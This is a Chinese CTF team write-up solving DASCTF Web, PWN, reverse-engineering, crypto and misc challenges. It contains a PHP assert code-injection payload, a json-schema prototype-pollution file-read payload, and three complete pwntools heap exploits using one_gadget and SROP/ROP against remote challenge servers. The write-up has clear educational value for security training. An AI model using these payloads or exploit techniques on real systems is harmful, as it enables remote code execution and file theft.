Light1ng战队 一、战队信息
二、解题情况 进不去平台了,没法截图了
三、解题过程 Web 1.ezphp ezphp 在关于里看到个Git,所以考虑存在git泄露
index.php里的php代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php if (isset ($_GET ['link_page' ])) { $link_page = $_GET ['link_page' ]; } else { $link_page = "home" ; } $page_file = "pages/" . $link_page . ".php" ;$safe_check1 = "strpos('$page_file ', '..') === false" ;assert($safe_check1 ) or die ("no no no!" ); $safe_check2 = "file_exists('$page_file ')" ;assert($safe_check2 ) or die ("no this file!" ); ?>
由于assert会进行命令执行,且$link_page参数可控,所以此处存在rce
构造闭合:
?link_page=flag.php', '..') === true|eval($_POST['yy']);//
POST传参:
执行成功,蚁剑连接:
在pages目录下拿到flag
DASCTF{af5ff99c7f98d528e711acc42fd6b906}
2.Looking for treasure
打开源码 有提示。
下载到源码 审计。
有一处
这里读取了p文件,如果能控制p的值就能实现文件读取。
这个content和req.body肯定是不相同的不用管它 ,所以p的内容最后会在报错信息的content里发出
看看p是怎么来的
config.path给p赋值。所以得想办法控制path的值。
源码里看到
看到这个想到json-schema原型链污染
payload
1 {"$schema" :{"type" :"object" ,"properties" :{"__proto__" :{"type" :"object" ,"properties" :{"path" :{"type" :"string" ,"default" :"/etc/passwd" }}}}}}
成功读到了/etc/passwd的内容,猜测flag在根目录,直接读/flag
1 {"$schema" :{"type" :"object" ,"properties" :{"__proto__" :{"type" :"object" ,"properties" :{"path" :{"type" :"string" ,"default" :"/flag" }}}}}}
数据包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /validated HTTP/1.1 Host : 26db192b-6f66-42c2-b783-cbe5f58cbd88.zzctf.dasctf.comUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflateContent-Type : application/jsonContent-Length : 132Origin : http://26db192b-6f66-42c2-b783-cbe5f58cbd88.zzctf.dasctf.comConnection : closeReferer : http://26db192b-6f66-42c2-b783-cbe5f58cbd88.zzctf.dasctf.com/Upgrade-Insecure-Requests : 1{"$schema" :{"type" :"object" ,"properties" :{"__proto__" :{"type" :"object" ,"properties" :{"path" :{"type" :"string" ,"default" :"/flag" }}}}}}
DASCTF{5117143e660f592adc982dd96d2c3f17}
PWN 1.null 正常的菜单堆题,off-by-one漏洞,我没可以看见edit和add中都有read_input()函数,而漏洞点就在这个read_input()函数中
可以看见a2+1多读了一个字节我们可以利用这个漏洞来改写chunk的大小造成堆块的重叠。
Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from pwn import *io=remote('82.157.5.28' ,50404 ) elf=ELF('./null' ) libc=ELF('./libc-2.23' ) def choice (choice ): io.sendlineafter('choice :' ,str (choice)) def malloc (index,size,context ): choice(1 ) io.sendlineafter('Index:' ,str (index)) io.sendlineafter('Size of Heap : ' ,str (size)) io.sendafter('Content?:' ,context) def free (index ): choice(2 ) io.sendlineafter('Index:' ,str (index)) def edit (index,context ): choice(3 ) io.sendlineafter('Index:' ,str (index)) io.sendafter('Content?:' ,context) def view (index ): choice(4 ) io.sendlineafter('Index :' ,str (index)) def pwn (): malloc(0 ,0x18 ,'0\n' ) malloc(1 ,0x78 ,'1\n' ) malloc(2 ,0x68 ,'2\n' ) malloc(3 ,0x68 ,'3\n' ) malloc(4 ,0x88 ,'4\n' ) edit(0 ,'0' *0x18 +p8(0xf1 )) free(1 ) malloc(1 ,0x78 ,'\n' ) view(2 ) addr=u64(io.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) mallochook=addr-0x68 libcbase=mallochook-libc.symbols['__malloc_hook' ] onegadget=[0x45226 ,0x4527a ,0xf03a4 ,0xf1247 ] malloc(5 ,0x68 ,'5\n' ) free(5 ) edit(2 ,p64(mallochook-0x23 )+'\n' ) malloc(6 ,0x68 ,'6\n' ) malloc(7 ,0x68 ,'7' *0x13 +p64(onegadget[3 ]+libcbase)) io.sendlineafter('choice :' ,'1' ) io.sendlineafter('Index:' ,'8' ) io.sendlineafter('Size of Heap : ' ,str (0x18 )) io.interactive() pwn()
2.uaf 正常的菜单题
漏洞点在,free后指针没有置0,造成uaf漏洞,直接freechunk泄露libc,打malloc_hook
Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 from pwn import *sh=remote('82.157.5.28' ,51402 ) context.log_level='debug' elf=ELF('./uaf_pwn' ) libc=elf.libc def exp (): def add (size ): sh.sendlineafter(">" ,"1" ) sh.sendlineafter("size>" ,str (size)) def dele (idx ): sh.sendlineafter(">" ,"2" ) sh.sendlineafter("index>" ,str (idx)) def edit (idx,content ): sh.sendlineafter(">" ,"3" ) sh.sendlineafter("index>" ,str (idx)) sh.sendlineafter("content>" ,content) def show (idx ): sh.sendlineafter(">" ,"4" ) sh.sendlineafter("index>" ,str (idx)) add(0x80 ) add(0x60 ) add(0x60 ) add(0x60 ) add(0x60 ) for i in range (4 ): edit(i,str (i)*8 ) dele(0 ) show(0 ) libc_base = u64(sh.recv(6 ).ljust(8 ,"\x00" ))-88 - 0x10 -libc.sym["__malloc_hook" ] success("libc_base => 0x%x" ,libc_base) malloc_hook = libc_base + libc.sym["__malloc_hook" ] add(0x80 ) dele(1 ) dele(3 ) dele(1 ) edit(1 ,p64(malloc_hook-0x23 )) gadget=[0x45226 ,0x4527a ,0xf03a4 ,0xf1247 ] add(0x60 ) add(0x60 ) edit(7 ,"a" *0x13 +p64(gadget[1 ]+libc_base)) add(0x90 ) sh.interactive() exp()
3.Greentownnote 这个题的漏洞在于dele这个操作,并没将ptr+8置0
在这可以看到有沙箱函数禁用了exevce,只能读取flag
整体逻辑如下,有正常的add,dele,show功能
直接doublefree泄露libc,利用libc中的函数context可以对其进行栈迁移,我们在堆上提前布置好rop,在利用free_hook函数触发,context+53,将栈迁移到我们布置好的rop处,然后利用srop将rip指向syscall,读取flag
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from pwn import *io = remote('82.157.5.28' ,51301 ) elf = ELF('./GreentownNote' ) libc = ELF('./libc-2.27.so' ) context.log_level='debug' context.arch='amd64' def add (size,content ): io.sendlineafter('choice :' ,'1' ) io.sendlineafter('size :' ,str (size)) io.sendlineafter('Content :' ,content) def show (index ): io.sendlineafter('choice :' ,'2' ) io.sendlineafter('Index :' ,str (index)) def dele (index ): io.sendlineafter('choice :' ,'3' ) io.sendlineafter('Index :' ,str (index)) add(0x100 ,'a' *(0x10 )) add(0x100 ,'' ) dele(0 ) dele(0 ) show(0 ) io.recvuntil("Content: " ) leak = u64(io.recv(6 ).ljust(8 ,'\x00' )) heap_base = leak - 0x260 success(hex (heap_base)) add(0x100 ,p64(heap_base+0x10 )) add(0x100 ,'a' *8 ) add(0x100 ,'\x07' *0x40 ) dele(3 ) show(3 ) addr=u64(io.recvuntil('\x7f' )[-6 :].ljust(8 ,b'\x00' )) malloc_hook = addr-0x70 libc_base = malloc_hook-libc.sym['__malloc_hook' ] free_hook = libc_base + libc.sym['__free_hook' ] setcontext = libc.sym['setcontext' ]+libc_base+53 syscall = libc.search(asm("syscall\nret" )).next ()+libc_base print ('libc_base' ,hex (libc_base))add(0x100 ,'\x07' *0x80 +p64(free_hook)) add(0x90 ,p64(setcontext)) frame = SigreturnFrame() frame.rsp = (free_hook&0xfffffffffffff000 )+8 frame.rax = 0 frame.rdi = 0 frame.rsi = free_hook&0xfffffffffffff000 frame.rdx = 0x280 frame.rip = syscall pop_rdi=libc.search(asm('pop rdi\nret' )).next () pop_rsi=libc.search(asm('pop rsi\nret' )).next () pop_rdx=libc.search(asm('pop rdx\nret' )).next () pop_rax=libc.search(asm('pop rax\nret' )).next () add(0xf8 ,bytes (frame)[0 :0xf8 ]) dele(5 ) code = [pop_rdi+libc_base,free_hook&0xfffffffffffff000 ,pop_rsi+libc_base,0 ,pop_rdx+libc_base,0 ,pop_rax+libc_base,2 ,syscall] code+=[pop_rdi+libc_base,3 ,pop_rsi+libc_base,(free_hook&0xfffffffffffff000 )+0x400 ,pop_rdx+libc_base,0x40 ,pop_rax+libc_base,0 ,syscall] code+=[pop_rdi+libc_base,1 ,pop_rax+libc_base,1 ,syscall] shellcode='./flag' .ljust(8 ,'\x00' ) shellcode+=flat(code) io.sendline(shellcode) io.interactive()
RE 1.easy_re 程序不难,丢入OD,进行分析
发现仅仅是单纯的xor加密,这就好办了,只需要把加密数据dump出来,然后在dump回输入内存,即可让他自动解密(取了个巧,算法没看,猜测可能是RC4魔改)
加密数据如上图
Dump过去,程序自动解密即可
2.[warmup]babyvxworks IDA上来就开幕雷击
很明显,这是一个花指令,直接nop掉
手动处理完,类似上图的所有花指令后,直接IDA F5
Helloworld干了个啥,我也不晓得,但是,算法很明显,就是递归异或0x22,并加3,直接写脚本跑
flag:
1 flag{helo_w0rld_W3lcome_70_R3}
3.抛石机 先搞清程序如何执行成功
很明显,就是要让x<=y-0.001 z<=d-0.001且要满足那4个一元二次方程,因为不论是v1,v2,v3,v4的取值范围都很小,无限接近于0,不妨设v1=v2=v3=v4=0,然后解这4个一元二次方程(还是在线解吧:http://www.ab126.com/shuxue/8009.html),解得4个值:x1 = 1.08 , x2 = 4.33,x3 = -0.48 , x4 = 1.98,这是4个双浮点数,将他们转为字节
其余3个也是如上图这样转换,然后根据x<=y-0.001 z<=d-0.001,可知x=1.08,y=4.33,d=1.98,z=-0.48
回到开始,这里其实是一个格式的固定,判断是否为flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx}格式的flag,并不是照抄,x仅仅代表的是任意字符
全局变量初始化
运算结果,然后进行比较
这里通过动调不难发现规律,输入:13,返回结果就是13,输入ab,返回结果就是AB。
当然这里有个细节得注意,这里仅仅只操作了4个字节,而我们运算的双浮点数是8个字节,很明显不满足我们的条件,所以是算法的问题吗?No,其实后面4个字节,对整体双浮点数的影响微乎其微,所以我们可以舍弃掉,毕竟,他毕竟的是一个范围,而不是一个确切的数字,所以经过计算(我是手工,别骂,flag好像有多组,不知道是不是题的bug):flag{48e17a14-52b8-1e85-b81e-85ebae47e17a}
Crypto 1.RSA-1 易知n,c都是p的倍数,求两者公倍数即可得到p,后面简单求RSA即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from gmpy2 import *from Crypto.Util.number import *n = 173652311549263483644782768725584927759117606030023943537236034618984057402347150 018201115486009149076170038066524923916867102562741566778871019971756922777296484 560875349876167437246465982344660947795407294135838263551452779804790401570754536 942505723166383481215712187597695337387215068111758669908519728384663075942262938 369341166596852157756432854658953177558927544733320342344957959361836105695710164 005353627626995176867816023020450485321314260352608789798921694410594676235230605 692855705771992363098881558330137219979339604577846532620761355617698387041668103 84309655788983073376941843467117256002645962737847 c = 694496710881543773542894128678411940313831971345573215592505592864653696259767294 180583131213068933801491345208129640027286271044720726509975040165782816583601312 284865683910085471996518868009737549119324912772559966038374682703180306602649798 929885642021625020603506818096379745479215119107143364594624591491673263700711708 519944289449566745554451748340400653660712148067868800042042228138053936851980716 217509976389198864811793777795106989997526019001899583490454144756271830743390659 202122666688563887702030400561445076308133708283860841475616225382569742049350991 4578546951634127502393647068722995363753321912676 p=gcd(n,c) q=n//p phi=(p-1 )*(q-1 ) e=65537 d=invert(e,phi) M=powmod(c,d,n) m=M//2021 //1001 //p print (long_to_bytes(m))
flag:
1 flag{Math_1s_1nterest1ng_hah}
2.Warmup 仿射加密,简单逆一下就行
1 2 3 4 5 6 7 8 str1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' c='aoxL{XaaHKP_tHgwpc_hN_ToXnnht}' s='' for i in c: if i in str1: a=str1.find(i) s+=str1[((a-23 )*45 )%52 ] print (s)
flag:
1 flag{AffInE_CIpheR_iS_clAssiC}
3.RSA_plus 第一部分 n1是四个素数的乘积,其中$p和p_1,q和q_1$相近,将n1放入在线网站factordb中分解得到N1和N2,通过开根爆破的方式运行很久都没有出答案,于是可以猜测N1和N2不是由$pp1和q q1$得到,而是$pq1和p1 q$得到,假设$p_1=p+p_0;q_1=q+q_0$,通过$(N_1-N_2+p_0q_0)^2+4p_0q_0N_2=(pq_0-p_0q+p_0q_0)^2+4p_0q_0N_2=(pq_0+p_0q+p_0q_0)^2$知,我们可以爆破$p_0,q_0$计算$(N_1-N_2+p_0q_0)^2+4p_0q_0N_2$是否为完全平方数来判断$p_0,q_0$是否为我们所求,这可以用$gmpy2$库里的iroot函数实现。找到$p_0,q_0$后求出p,q,p1,q1,然后通过欧拉函数的积性知$\varphi(n1)=(p-1)(q-1)(p1-1)(q1-1)$,解出第一部分的flag1。
第二部分 已知p2,q2之和,p2,q2之积,可通过求$x^2-(p_2+q_2)x+p_2q_2=0$的两个根得到p2,q2,再通过欧拉函数对素数幂的表达式$\varphi(n2)=(p_2^2-p_2)(q_2^3-q_2^2)$求得,然后正常的RSA解密得flag2,最后将flag1和flag2合并即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import sympyfrom gmpy2 import *from Crypto.Util.number import *def solve (a,b,c ): delta=b*b-4 *a*c if delta<0 : return (0 ,0 ) delta=isqrt(delta) if (-b+delta)%(2 *a)!=0 or (-b-delta)%(2 *a)!=0 : return (0 ,0 ) return ((-b+delta)//(2 *a),(-b-delta)//(2 *a)) n1=6348779979606280884589422188738902470575876294643492831465947360363568026280963989291591157710389629216109615274754718329987990551836115660879103234129921943824061416396264358110216047994331119920503431491509529604742468032906950984256964560405062345280120526771439940278606226153077959057882262745273394986607004406770035459301695806378598890589432538916219821477777021460189140081521779103226953544426441823244765828342973086422949017937701261348963541035128661464068769033772390320426795044617751909787914185985911277628404632533530390761257251552073493697518547350246993679844132297414094727147161169548160586911 a1=79679231796035037354449627487236220201878797729093909877127396750043503300636464774059752126148617367251988043645511172901030621825575172979048675217341753594180007984204016274224280609480494305040439035855109422239942522968468133274883986349646765947317076885918174299537297351936448296784166003890345486613 a2=n1//a1 for p0 in range (1 ,2000 ): for q0 in range (1 ,2000 ): term=(a1-a2+p0*q0)**2 +4 *p0*q0*a2 if iroot(term,2 )[1 ]==True : q=(iroot(term,2 )[0 ]-p0*q0-a1+a2)//(2 *p0) if q!=0 and a2%q==0 : print (q) print (p0) print (q0) q=10619814058756849829412220719572078374866231482659600717706859832366243652256808143923755280218847619508647399114705626452464205932047979078592015381325551 p=7502883888097212950622788817096216502912511795977786941568063923158816805073284550069689733527712330353018568842826730967449095687927404679782394052855569 p0=828 q0=726 p1=p+p0 q1=q+q0 e=65537 c1=6201882078995455673376327652982610102807874783073703018551044780440620679217833227711395689114659144506630609087600915116940111002026241056808189658969089532597757995423694966667948250438579639890580690392400661711864264184444018345499567505424672090632235109624193289954785503512742400960515331371813467034511130432319427185134018830006918682733848618201088649690422818940385123599468595766345668931882249779415788129316594083269412221804774856038796248038700275509397599351533280014908894068141056694660319816046357462684688942519849441237878018480036145051967731081582598773076490918572392784684372694103015244826 phi=(p-1 )*(q-1 )*(p1-1 )*(q1-1 ) d1=invert(e,phi) flag1=long_to_bytes(pow (c1,d1,n1)) SUM=274773146761138462708137582309097386437793891793691383033856524303010811294101933454824485010521468914846151819876043508541879637544444256520741418495479393777132830985856522008561088410862815913292288683761657919121930016956916865849261153721097671315883469348972925757078089715102032241818526925988645578778 MUL=18514724270030962172566965941723224386374076294232652258701085781018776172843355920566035157331579524980108190739141959926523082142273672741849552475156278397131571360099018592018959785627785130126477982765210498547680367230723634424036009539347854344573537848628061468892166199866227984167843139793429682559241317072979374002912607549039431398267184818771503468116379618249319324788996321340764624593443106354104274472601170229835219638093242557547840060892527576940077162990069687019966946826210112318408269749294366586682732614372434218768720577917368726530200897558912687470088583774711767599580037663378929000217 p2,q2=solve(1 ,-SUM,MUL) PHI=(p2**2 -p2)*(q2**3 -q2**2 ) d2=invert(e,PHI) c2=25591090168544821761746024178724660839590948190451329227481168576490717242294520739865602061082558759751196452117720647426598261568572440942370039702932821941366792140173428488344932203576334292648255551171274828821657097667106792872200082579319963310503721435500623146012954474613150848083425126987554594651797477741828655238243550266972216752593788734836373144363217639612492397228808215205862281278774096317615918854403992620720969173788151215489908812749179861803144937169587452008097008940710091361183942268245271154461872102813602754439939747566507116519362821255724179093051041994730856401493996771276172343313045755916751082693149885922105491818225012844519264933137622929024918619477538521533548551789739698933067212305578480416163609137189891797209277557411169643568540392303036719952140554435338851671440952865151077383220305295001632816442144022437763089133141886924265774247290306669825085862351732336395617276100374237159580759999593028756939354840677333467281632435767033150052439262501059299035212928041546259933118564251119588970009016873855478556588250138969938599988198494567241172399453741709840486953189764289118312870580993115636710724139809708256360212728127786394411676427828431569046279687481368215137561500777480380501551616577832499521295655237360184159889151837766353116185320317774645294201044772828099074917077896631909654671612557207653830344897644115936322128351494551004652981550758791285434809816872381900401440743578104582305215488888563166054568802145921399726673752722820646807494657299104190123945675647 n2=40588227045595304080360385041082238507044292731344465815296032905633525556943787610712651675460810768762763493579129831271018141591546207557410817432455139315527674932933085299277599173971912445226532235814580879585317211349524406424200622675880992390782025158621241499693400288031658194434641718026910652327933253877313106112861283314274635124734817398465059373562194694957841264834312640926278890386089611103714990646541470577351599526904458342660444968591197606820361364761648205241041444681145820799054413179462285509661124362074093583494932706249461954240408827087015525507173082129412234486228092002841868365895837463699200959915782767657258729794037776401995309244941171415842403617486719492483671490834562579225506831496881542530519595438932482796867853234159664409420977526102480385193101883785161080269573707156626838551506024455480650224305894501968583442346807126920740779780593650871645915149689424292912611578291912721896864772950410266629045542480009266574096080138709683466489568290569363478444349563498507530805502511051165160827192795520182720802422213364247355775222858214648603034743679187470844212529134374975737510982287957316878179964602394749601431823167982157434890459245394370728942790117156485268116758052636794417268680901420193002289035538753620555488506926366624641291881353268617130968991258983002165300186971963661666476600998389048880565199317280428349802824448329898502788492233381873026217202981921654673840142095839603360666049476100561268336225902504932800605464136192275593886736746497955270280541423593 flag2=long_to_bytes(pow (c2,d2,n2)) flag=flag1+flag2 print (flag)
flag:
1 flag{Euler_funct1ons_1s_very_interst1ng}
Misc [warmup]音频隐写 下载附件,丢入010分析,发现是WAV的文件头,于是把附件的后缀改为.wav
修改完之后,得到一段音频文件,既然题目提示了音频隐写,那就用Audacity打开这段音频分析一下
音频没发现有什么隐藏信息,于是 打开频谱图看看
得到flag:
1 flag{f8fbb2c761821d3af23858f721cc140b}
创新技术 无